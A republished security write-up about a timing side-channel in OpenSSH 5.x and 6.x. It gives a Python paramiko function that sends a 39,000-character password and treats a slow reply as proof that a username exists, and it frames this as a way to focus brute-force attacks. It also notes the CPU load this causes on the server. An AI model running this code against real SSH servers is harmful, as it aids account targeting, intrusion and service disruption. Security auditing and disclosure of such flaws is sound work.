OpenSSH User Enumeration Time-Based Attack

Source: Internet
Author: User

Today, we will show a bug concerning OpenSSH. openSSH is the most used remote control software nowadays on * nix like operating systems. legacy claims it replaced unencrypted daemons like rcp, rsh and telnet. find a version: https://www.openssh.com . By testing several OpenSSH installations we figured there is a delay of time when it comes to cracking users (not) existing on a system. A normal Brute-force-Attack tests for the correct user and password combination, usually without knowledge if the user on the system exists. for instance, the attacker is interested in the all-mighty "root" aka "toor" account. he might go for password combinations like: root: rootroot: toorroot: passwordroot: system and so on. permanent attacks against the service normally running on Port 22/tcp implicate that Ssh-Brute-force-Attacks are still profitable. if you are an Auditor and want to check for interesting accounts it might be worthy to know which ones are available on the system to run a more focused attack. to assist you in this issue, there is a little trick to find out a User name before trying to cracking it. to do this the length of the password needs to be increased massively. in our case we go with 39.000 characters (A's ). trying those passwords at an existing and a non-existing account shows a quite high delay. let's show some sample code:

def sshTime(self,user,tHost):host,port = tHostprint “Connecting %s@%s:%d ” % (user,host,int(port))para = paramiko.Transport(sock)para.local_version=”SSH-2.0-Blabla” try:para.connect(username=user)except EOFError,e:print “Error: %s” % ereturn -1except paramiko.SSHException,e:print “Error: %s” % ereturn -2#results in a long wait on sshd side, as it needs to calc the password#only if the user existspasswd = ‘A’*39000#time measurementtimeStart = int(time.time())try:para.auth_password(user,passwd)except paramiko.AuthenticationException,e:print eexcept paramiko.SSHException,e:print etimeDone = int(time.time())#simple time calculationtimeRes = timeDone-timeStartif timeRes > 20:print “User: %s exists” % userpara.close()returnelse:print “User: %s not found” % user

 

As you can see the function "sshTime" gets a user plus host and port. the fine ssh library 'paramiko 'is used to create a transport, defining a banner and building up the connection. the password is chosen with 39.000 A's, password and user are sent. now time measurement jumps in: If the answer of the daemon takes longer than the defined seconds the user exists. for using the code just add the right python indents (sorry for that ). if you are watching the sshd on the host side you will recognize a massive increase of CPU load. the load of the system will increase as the sshd tries to calculate the overlong password to compare it with the correct one. as a result a constant firing of such request slows the system down. the bug was tested on recent implementations of OpenSSH 6.x and versions of 5. x.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.